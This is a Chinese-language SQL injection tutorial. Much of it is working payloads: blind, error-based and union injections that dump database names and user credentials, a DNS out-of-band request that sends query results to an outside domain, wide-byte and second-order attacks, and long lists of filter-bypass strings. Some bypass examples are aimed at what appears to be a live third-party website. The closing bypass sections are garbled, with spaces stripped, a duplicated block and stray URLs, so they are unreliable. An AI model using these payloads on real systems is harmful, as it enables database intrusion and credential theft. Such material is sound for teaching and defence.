超详细的SQL注入漏洞学习
SQL注入漏洞
1.SQL注入简述
SQL注入漏洞是服务器在处理SQL语句时错误的拼接用户提交的参数,打破了原有的SQL语句的逻辑,导致攻击者可以掌握SQL的执行效果的一类安全问题。
例如,有一条sql语句如下:
select*from students where username='张三' and password='xxx'
这条语句的意思是查询张三的信息。他有两个条件,username和password,当我们输入这两个参数并且全部正确时,他才会返回张三信息。假设这里没有对用户输入的数据进行判断,此时有位攻击者在username中输入了这样的数据:张三’and 1=1#。此时这条sql语句就变成了下面这样:
select*from students where username='张三’ and 1=1#' and password='xxx'
攻击者输入的张三’与前面的单引号闭合了,形成了一个完整的参数,而后面的and1=1成为了sql语句的一部分,最后#为注释,把后面的语句注释掉了,此时这条语句变成了这样:
select*from students where username='张三’ and 1=1
可以看到,张三的信息在没有输入密码的情况下就显示出来了。
2.SQL注入的类型
2.1按照注入点类型分类
2.1.1整型注入
整型注入是指注入参数的两侧没有任何闭合符号,由于这种情况下数据库处理的参数都是整形、浮点型等数字,所以又称数字型注入,如:
select*from demo where id=1
这里可以直接构造payload进行注入:
select*from demo where id=1 and 1=1
2.1.2字符型注入
字符型注入的两侧闭合多为单引号,有时也有双引号,如:
select*from demo where id='1'
此时我们如果再像整型注入的方式构造payload,会发现输入语句被单引号包括起来了,这样也就不会生效了。
sql注入的本质就是打破原本传递数据的区域边界,插入逻辑代码。
构造payload:1'and 'a'='a。如下所示:
select*from demo where id='1'and 'a'='a'
通过插入” 1'and 'a'='a “,打破了原本的闭合边界,于是可以在and之前自由地插入新的判断逻辑来完成注入。
后面的 “ 'a'='a ”主要用于闭合最后的单引号,也可以使用"#"来屏蔽后续语句,如:
select*from demo where id='1 and 1=1#'
需要注意的是,在MySQL中"#"仅作用于单行,如果后续的语句有换行的情况下,谁用"#"是不成立的。
2.1.3搜索型注入
搜索型注入的本质还是字符型注入,不过在构造语句时略有区别,搜索型注入常见于like之后使用的模糊匹配,如:
select*from demo where name like '%a%'
针对这里的注入,我们可以使用“ a%' and 1=1 '%'=' ”来闭合,如下:
select*from demo where name like '%a%' and 1=1 '%'='%'
同理,也可以在整条语句无换行的情况下使用"#"屏蔽后续语句。
2.1.4 In注入
In注入主要发生在in语句内,往往要引入括号来进行闭合,如:
select*from demo where id in (1,2,3)
对于数字型的in注入,我们可以使用“ 1) and (1)=(1 ” 闭合,闭合语句如下:
select*from demo where id in (1,2,3) and (1)=(1)
而对于字符型的in注入,往往还需要加单引号“ 1') and ('1')=('1 ”,如:
select*from demo where id in ('1','2','3') and ('1')=('1')
2.1.5混合型注入
混合型注入主要指的是闭合符号混合搭配,这时候也需要根据情况调整payload。
2.2按提交方式分类
2.2.1get型注入
数据以get型方式进行提交。注入点一般在get提交的URL后。
2.2.2post型注入
数据以post的方式进行提交。注入点一般表单的填写处,如资料的填写等地方较为常见,可以通过bp抓包进行查找
2.2.3http头部注入
user-agent:判定用户使用的操作系统,以及使用的浏览器的版本
cookie:判定用户的身份,进行session跟踪可以存储在用户本地终端上的数据,简单理解为用户的一张身份辨别卡
x-forwarded-for:是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
client-ip: 数据库保存客户端IP的参数
rerferer:浏览器向web端表明自己从哪个连接而来
host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
2.3按执行效果分类
2.3.1盲注
2.3.1.1布尔盲注
基于布尔的SQL注入的攻击方法,常用于无回显点,又不能基于报错来读取数据的盲注回显中。所谓盲注,就是网站不会给出任何直接的回显,而需要构造payload去探测,根据返回的差异来进行逻辑推理。所谓布尔,是编程语言中的一种数据类型,它只有"True"和"False"两个取值。通过提交断言请求的语句,观察服务器返回"True"还是"False"来印证断言是否成立,从而获取数据库中的数据。
MySQL数据库布尔注入的常用方法
运算 | payload |
---|---|
或 | 1 or 1=1 |
异或 | 1xor 1=1 |
按位与 | 1 &1=1 |
与 | 1 && 1=1 |
按位或 | 1|1 = 1 |
或 | 1 || 1=1 |
常见数据库及其系统表
数据库 | 系统表 |
---|---|
MySQL | information_schema.tables |
Oracle | all_tables、user_tables |
Microsoft SQL Server | master、sysobjects |
Access | 无 |
PostgreSQL | pg_database、pg_tables |
DB2 | sysibm |
以MySQL为例。
1)判断数据库中有多少数据库。
1 and (select count(*) from information_schema.schemata)>6
2)猜测第一个数据库名称。
1 and (select ascii(mid(schema_name,1,1)) from information_schema.schemata limit 0,1)>101
通过修改结尾101来根据ASCII码判断第一个数据库的第一个字母,通过修改mid函数的第二个参数来依次猜解第一个数据库名称的后几位字母。通过修改“limit 0,1”的第一个数字“0”来依次递增获取其他几个数据库(“0”是第一个、“1”是第二个,依次类推)。
3)判断指定数据库中有多少个表
1 and (select count(*) from information_schema.tables where table_schema='demo')>4
4)猜测指定数据库第一张表的名称
1 and (select ascii(mid(table_name,1,1)) from information_schema.tables where table_schema='demo' limit 0,1)>101
同理,可以猜解任意数据库中的任意表名。
5)判断指定数据库指定表中有多少个字段。
1 and (select count(*) from information_schema.columns where table_name='user' and table_schema='demo')
6)猜测指定数据库指定表的第一字段。
1 and (select ascii(mid(column_name,1,1)) from information_schema.columns where table_name='user' and table_schema='demo')>101
7)获取指定数据库指定表的数据量。
1 and (select count(*) from demo.user)>6
8)获取指定数据库指定表的第一条数据的第一个字段。
1 and (select ascii(mid(username,1,1)) from demo.user limit 0,1)>101
2.3.2时间盲注
基于时间的注入,顾名思义,是利用时间的长短来判断SQL注入点是否存在的,根据时间的长短来得到SQL语句的执行结果是True还是False。
发送请求 “id=1 and sleep(3)”,如果网站延迟了3秒才返回,基本可以断定此处存在SQL注入漏洞。需要注意的是,“sleep(3)”的延迟时间可能不是3秒,还有可能是6s,9s,12s··· ···但基本都是3的倍数切大于等于3。
基于时间的SQL注入攻击,通常也是用于盲注攻击的,在网站无回显,并且无法使用union、报错注入的情况下才会考虑。思路和布尔注入基本一致。
使用基于时间的SQL注入方法获取数据的流程与布尔注入类似,在具体的payload构造上有细微的区别,主要的思路是通过if函数造成差异,例如:
1 and if(ascii(substr(user(),2,1))<114,sleep(5),1)
if函数会优先执行第一个参数中传递的SQL语句,如果成立则会执行第二个参数,于是网站会等待超过5s的时间返回。而如果第一个参数不成立,则会执行第三个参数,由于第三个参数是1,故会立刻返回。由此,可以根据页面的等待时间来了解user()函数执行结果中的第二个字符的ASCII码是否小于114。
2.3.3DNS查询注入
除了直接回显、错误回显、无回显之外,还有一种方法是外带法,想办法将查询的内容通过其他通道带出来,DNS查询注入正是利用了这一方法。
必须windows系统,必须root权限,必须secure_file_priv为空
MySQL中有一个 load_file 函数,该函数主要用于读取文件,在Windows下,由于UNC语法,可以支持读取其他域名下的文件,于是攻击者可以通过构造请求,将数据传递到他自己搭建的域名服务器上。
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机
UNC命名使用特定的标记法来识别网络资源. UNC命名由三个部分组成- 服务器名, 共享名, 和一个可选的文件路径. 这三个部分通过backslash连接起来, 如下:
\server\share\file_path
由于该写法只针对Windows服务器有效,所以使用DNS外带注入也仅限于数据库服务器采用Windows操作系统的情况下,具有一定的局限性。
具体发送DNS请求的SQL语句如下:
select load_file('\\\\www.moonslow.com\\a.txt')
当语句被拼接进入SQL执行引擎后,会向www.moonslow.com发送
\\www.moonslow.com\a.txt
请求,需要搭建一条NS服务器,并且给域名增加一条NS记录指向该NS服务器,这样如果该域名被解析,就可以在NS服务器上收到一条解析记录,就可以证明该位置存在SQL注入漏洞了。
2.3.2报错注入
报错注入既是一种SQL注入的检测方法,同时也是利用SQL注入读取数据的方法。
作为检测方法,攻击者在判断一个参数是否存在SQL注入漏洞时,会尝试拼接单引号、反斜杠字符等等。例如:id=1'
这种字符传入后会引起SQL语法的错误,数据库引擎会抛出错误,而有些网站会把错误打印到网页中。
报错注入还可以用来发起攻击。在一些场景下,通过报错回显将目标数据打印在网页上。
MySQL常见的10种报错注入方法
1)floor()
2)extractvalue()
3)geometrycollection
4)multipoint()
5)polygon()
6)multipolygon()
7)linestring()
8)multilinestring()
9)exp()
extractvalue()函数报错注入
extractvalue()函数,对XML文档进行查询的函数
语法
extractvalue(目标xml文档,xml路径)
函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他格式就会报错,并且返回我们写入的非法格式内容,而这个非法格式内容就是我们想要查询的内容。
如果是正常格式,则既查询不到,也不会报错
本地测试
构造正常的SQL语句:
select extractvalue(1,concat('/',(select database())))
然后我们构造非法请求SQL:
#正常格式为/xx/xx/,所以我们非法格式可以尝试 \
#0x5c (\),还可以使用0x7e (~)
select extractvalue(1,concat(0x5c,(select database())))
发现返回了非法内容,而且返回的内容就是我们需要的内容。
updatexml()函数报错注入
updatexml()函数与extractvalue()函数类似,都是对xml文档进行操作。只不过updatexml()从英文字面上来看就知道是更新的意思。即updatexml()是更新文档的函数。
语法
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
和extractvalue()相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。
本地测试
构造合法的SQL语句查询:
select updatexml('/',(select database()),'/')
构造非法格式进行查询:
select updatexml('/',conca(0x7e,database()),'/')
首先看看0x7e这个东西,它是 ~ 的16进制用来校验,但也不用被0x7e固定化了,只要能做到校验那填什么都可以。
2.3.3union注入
在sql中,union函数是一个操作符,用于将两个或者多个查询结果合并成为一个并集。
union的作用:
合并结果集:当我们需要将多个查询结果合并成一个结果集时,可以使用union函数。这样可以简化查询操作,减少代码的复杂性。
去重数据:union函数会自动去重,即将重复的行从结果集中剔除,只返回唯一的行。这在需要对两个或多个表中的数据进行合并,并消除重复数据时非常有用。
扩展查询:使用union函数可以将多个查询结果合并在一起,从而扩展查询的范围。我们可以在每个SELECT语句中使用不同的条件和过滤器,从不同的表中获取数据,并将它们合并成一个结果集
例如,一条SQL语句如下:
select*from user where id='1'
可以将id参数注入恶意代码,如下:
1' union select username,password from users--+
那么构造的sql查询语句会变为:
select*from user where id='1' union select username,password from users--+'
将会返回所有用户的用户名和密码,绕过了原本的查询条件
通过联合注入漏洞获取敏感信息,或者进行其他恶意操作
union注入流程
1)首先使用order by来判断有多少列:
1' order by 1,2,3,······--+
2)爆破数据库
?id=-1' union select 1,2,database() --+
3)爆破表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
4)爆破列名(字段)
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
5)爆值
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。
2.4堆叠注入
MySQL数据库的sql语句在结束的时候是以“ ; ”结尾,在执行多条语句时就要使用结束隔离符隔开,而堆叠注入就是通过结束符来执行多条sql语句。
堆叠注入的触发条件
1)目标存在SQL注入漏洞
2)对“ ; ”未过滤
3)目标中间层查询数据库信息时可以同时执行多条SQL语句(比如php中mysqli_multi_query()
函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()
函数一次只能执行一条sql语句)
2.5宽字节注入
什么是窄、宽字符
当一个字符的大小为一个字节时,称其为窄字节。
当一个字符的大小为两个字节时,成为宽字节。
所有英文默认占一个字节,汉字占两个字节。
常见的宽字符编码
GB2312,GBK,GB18030,BIG5,Shift_JIS等
宽字节注入漏洞原理
宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不通的两个编码格式从而导致产生宽字节注入。
如果数据库使用的是GBK编码而PHP的编码为UTF-8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用以下几种函数:
addslashes() //函数在预定义字符之前添加反斜杠的字符串
例如:
<?php
$str=addslashes('Yuan "shen" start');
echo $str;
?>
//输出 Yuan \"shen\" start
mysql_real_escape_string() //函数转义SQL语句中使用的字符串中的特殊字符
例如:
<?php
$con = mysql_connect("localhost", "hello", "321");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
// 获得用户名和密码的代码
// 转义用户名和密码,以便在 SQL 中使用
$user = mysql_real_escape_string($user);
$pwd = mysql_real_escape_string($pwd);
$sql = "SELECT * FROM users WHERE
user='" . $user . "' AND password='" . $pwd . "'"
// 更多代码
mysql_close($con);
?>
mysql_escape_string()//转义一个字符串
例如:
<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf("Escaped string: %s\n", $escaped_item);
?>
输出://Escaped string: Zak\'s Laptop
将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP中使用的utf8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠被组合成一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的ASCII要大于128,两个字符才能组合成汉字,因为前一个ASCII码要大于128,才到汉字的范围。
实战
nctf-sql injection 3
https://chinalover.sinaapp.com/SQL-GBK/?id=1
https://chinalover.sinaapp.com/SQL-GBK/?id=1'
发现被转义了
使用最经典的%df
https://chinalover.sinaapp.com/SQL-GBK/?id=1%df' and 1=1#
爆数据库
https://chinalover.sinaapp.com/SQL-GBK/?id=-1%df' and 1=1 union select 1,database()%23
下面步骤跟union注入一样了。
2.6二次注入
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只使用了addslashes函数或者是借助get_magic_quotes_gpc函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加“ \ ”进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到数据库中之后,开发者就认为数据是可信的。在下一次进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成sql的二次注入。
实战
这里直接在登录框注入是不行的,登陆处的username和password都经过了mysql_real_escape_string函数的转义,直接执行SQL语句会转义’,所以该处无法造成SQL注入。
<?php
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}
}
?>
我们点击下面的New User click here? 来进行注册
注册完成进行登录,登录后发现让修改密码:
那我们不妨注册一个admin'#的账号
注册用户的时候用了mysql_escape_string过滤参数,但是数据库中还是插入了问题数据admin'#。
也就是说经过mysql_escape_string转义的数据存入数据库后被还原。
此时,admin用户的原来密码为admin,我们以admin’#用户登陆,再进行密码修改,原本admin'#账户的密码为123,我们修改为123456。
然后在数据库中看到admin变为123456
我们明明修改的是admin'#账户,而密码改变的却是admin账户,为什么呢
我们看一下修改密码的SQL语句:
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
我们传入值后变为:
UPDATE users SET PASSWORD='123456' where username='admin'-- ' and password='$curr_pass'
admin后面的被注释掉了,这条语句很明显是修改admin账户的密码。
3.SQL注入绕过方法
3.1过滤and or
使用符号
or -----> ||
and ----> &&
xor ----> |
not ----> !
**大小写绕过**
Or、aNd
双写绕过
oorr、anandd
编码绕过
urlencode、ASCII、hex、Unicode编码
关键字内联注释绕过
/*!or*/ 、/*!and*/
3.2过滤空格
1)、/**/
2)、()
3)、`(tab键上面的按钮)
4)、tab
5)、+
6)、科学计数法 0e1
7)、空白字符绕过(%20 %09 %0a %0b %0c %0d %a0)
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
3.3过滤等号
1)like、rlike
不加通配符的 like 执行的效果和 = 一致,所以可以用来绕过。
rlike 模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代 = 时,rlike 的用法和上面的 like 一样,没有通配符效果和 = 一样
2)or '1' in (1)#
SELECT*FROM `security`.users WHERE id OR 1 in(1)
3.4过滤括号
编码绕过
3.5过滤union\select\where
大小写
双写
内联注释
编码绕过
concat
\N绕过
union all select绕过
逻辑绕过
1 && (select user from users limit 1) = 'admin'
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/**//**//*!uNiOn*//**/ /**//*!sElEcT*//**//**/1,2,3,4,5,6--
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/*U*//*n*//*i*//*o*//*n *//*t*/+/*s*//*e*//*l*//*e*//*c*//*t*/+1,2,3,4,5,6--
http://cleopatra-sy.com/index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca t(s,e,l,e,c,t)+all+1,2,3,4,5,6--
http://cleopatra-sy.com/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-
-----------------------------------
突破sql 注入过滤Union+SELECT 继续射下去
https://blog.51cto.com/u_1002776/6230139xxxxxxxxxx http://cleopatra-sy.com/index.php?content=more_product&id=-17 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+- -----------------------------------突破sql 注入过滤Union+SELECT 继续射下去https://blog.51cto.com/u_1002776/62301391 &&(select 1)='admin'
3.6过滤比较符
1)greatest (n1, n2, n3…): 返回 n 中的最大值
select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116
#这里的 greatest(函数,1)是用与比较取出其中最大的值用于爆破
#如果任何给定值为NULL,则返回NULL。否则,它将返回最大值。
2)least (n1,n2,n3…): 返回 n 中的最小值,与上同理。
3)strcmp(str1,str2):比较两个字符串,如果这两个字符串相等返回0,如果第一个参数是根据当前的排序小于第二个参数顺序返回-1,否则返回1。
select*from users where id=1 and strcmp(asci(substr(username,1,1)),117)
4)in关键字
用于判断列明中是否存在此关键字,常用于布尔盲注
select * from users where id = 1 and substr(user(),1,1) in ('r')
#表示查询user()中id = 1的行的第一个字符是否为 r
3.7引号绕过
会用到引号的的地方一般是在最后的where子句中。如:
select*from users where name="zs"
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
3.8逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database() from 1 for 1)
select mid(database() from 1 for 1)))
对于limit可以使用offset来绕过:
select*from news limit 0,1#等价于下面这条SQL语句
select*from news limit 1 offset 0
offset n 去掉几个值
(1)从“employees”表中第三条开始查询,取一条数据;
(1) select * from employees order by hire_date desc
limit 2,1
(2)从“employees”表中读取一条数据,但是去处前两条数据;
(2) select * from employees order by hire_date desc
limit 1 offset 2;
3.9等价函数绕过
hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()=>substring()
@@user==>user()
@@datadir==>datadir()
3.10过滤总结
1.1 注释符绕过
常用注释符:
//,-- , //, #, --+, -- -, ;,%00,--aUNION//Select//user,pwd,fromuserU//NION//SE//LECT/**/user,pwdfromuser
1.2 大小写绕过
?id=1+UnIoN/**/SeLeCT
1.3 内联注释绕过
id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM/information_schema/.tables/!WHERE /+/!TaBlE_ScHeMa/+like+database()-- -
通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 =
1.4 双关键字绕过
?id=1+UNIunionON+SeLselectECT+1,2,3–
1.5 编码绕过
如URLEncode编码,ASCII,HEX,unicode编码绕过
or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过?id=1%252f%252a/UNION%252f%252a /SELECT%252f%252a/1,2,password%252f%252a/FROM%252f%252a/Users--+一些unicode编码举例: 单引号:'%u0027 %u02b9%u02bc
%u02c8%u2032
%uff07%c0%27%c0%a7%e0%80%a7
空白:
%u0020%uff00
%c0%20%c0%a0%e0%80%a0
左括号(:
%u0028%uff08
%c0%28%c0%a8%e0%80%a8
右括号):
%u0029%uff09
%c0%29%c0%a9%e0%80%a9
1.6 空格绕过
两个空格代替一个空格,用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/
括号绕过空格
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来
select(user())from dual where 1=1 and 2=2;
1.7 万能密钥绕过
用经典的or1=1判断绕过,如or‘swords’ =’swords
1.8 +,-,.号拆解字符串绕过
?id=1' or'11+11'='11+11'"-"和"."
1.9 like绕过
?id=1' or 1 like 1绕过对“=”,“>”等的过滤
2.0 in绕过
or'1'IN('swords')
2.1 >,<绕过
or'password'>'pass'or1<3
2.2 等价函数与命令绕过
1.函数或变量
hex()、bin()>ascii()sleep()>benchmark()concat_ws()>group_concat()mid()、substr()>substring()@@user>user()@@datadir>datadir()举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 或者:substr((select 'password'),1,1) = 0x70strcmp(left('password',1),0x69)= 1strcmp(left('password',1),0x70)= 0strcmp(left('password',1),0x71)= -1
2.符号
and和or有可能不能使用,可以试下&&和||=不能使用的情况,可以考虑尝试<、>
3.生僻函数
MySQL/PostgreSQL支持XML函数:SelectUpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’); ?id=1 and 1=(updatexml(1,concat(0x3a,(selectuser())),1))SELECTxmlelement(nameimg,xmlattributes(1assrc,'a\l\x65rt(1)'as\117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (selecttable_namefrominformation_schema.tableslimit1)));and 1=(updatexml(1,concat(0x5c,(selectuser()),0x5c),1))andextractvalue(1,concat(0x5c, (selectuser()),0x5c))
2.3 反引号`绕过
selectversion()
,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.4 换行符绕过
%0a、%0d
2.5 截断绕过
%00,%0A,?,/0,........,%80-%99
目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
././././././././././././././././abc
abc
..1/abc/../1/abc/../1/abc
2.6 宽字节绕过
过滤单引号时,可以试试宽字节
%bf%27 %df%27 %aa%27
2.7 \N绕过
\N其实相当于NULL字符
selectfromuserswhereid=8E0unionselect1,2,3,4,5,6,7,8,9,0selectfromuserswhereid=8.0unionselect1,2,3,4,5,6,7,8,9,0select*fromuserswhereid=\Nunionselect1,2,3,4,5,6,7,8,9,0
附:PHP中一些常见的过滤方法及绕过方式
过滤关键字 and or
php代码 preg_match('/(and|or)/i',$id)
会过滤的攻击代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1
过滤关键字 and or union
php代码 preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码 union select user,password from users
绕过方式1&& (selectuserfromuserswhereuserid=1)='admin'
过滤关键字andorunionwhere
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码1&& (selectuserfromuserswhereuser_id =1) ='admin'
绕过方式1&& (selectuserfromuserslimit1) ='admin'
过滤关键字andorunionwhere
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码1&& (selectuserfromuserswhereuser_id =1) ='admin'
绕过方式1&& (selectuserfromuserslimit1) ='admin'
过滤关键字and,or,union,where,limit
php代码 preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码1&& (selectuserfromuserslimit1) ='admin'
绕过方式1&& (selectuserfromusersgroupbyuser_idhavinguser_id =1) ='admin'#user_id聚合中user_id为1的user为admin
过滤关键字and,or,union,where,limit,groupby
php代码 preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码1&& (selectuserfromusersgroupbyuser_idhavinguser_id =1) ='admin'
绕过方式1&& (selectsubstr(group_concat(user_id),1,1)userfromusers) =1
过滤关键字and,or,union,where,limit,groupby,select
php代码 preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码1&& (selectsubstr(gruop_concat(user_id),1,1)userfromusers) =1
绕过方式1&&substr(user,1,1) ='a'
过滤关键字and,or,union,where,limit,groupby,select,'
php代码 preg_match('/(and|or|union|where|limit|groupby|select|\')/i', $id)
会过滤的攻击代码1&& (selectsubstr(gruop_concat(user_id),1,1)userfromusers) =1
绕过方式1&& user_idisnotnull1&&substr(user,1,1) =0x611&&substr(user,1,1) =unhex(61)
过滤关键字and,or,union,where,limit,groupby,select,', hex
php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex)/i', $id)
会过滤的攻击代码1&&substr(user,1,1) =unhex(61)
绕过方式1&&substr(user,1,1) =lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤关键字and,or,union,where,limit,groupby,select,', hex, substr
php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr)/i', $id)
会过滤的攻击代码1&&substr(user,1,1) =lower(conv(11,10,16))/td>
绕过方式1&&lpad(user,7,1)
过滤关键字and,or,union,where,limit,groupby,select,', hex, substr, 空格
php代码 preg_match('/(and|or|union|where|limit|groupby|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码1&&lpad(user,7,1)/td>
绕过方式1%0b||%0blpad(user,7,1)
过滤关键字andorunionwhere
php代码 preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码1|| (selectuserfromuserswhereuser_id =1) ='admin'
绕过方式1|| (selectuserfromuserslimit1) ='admin'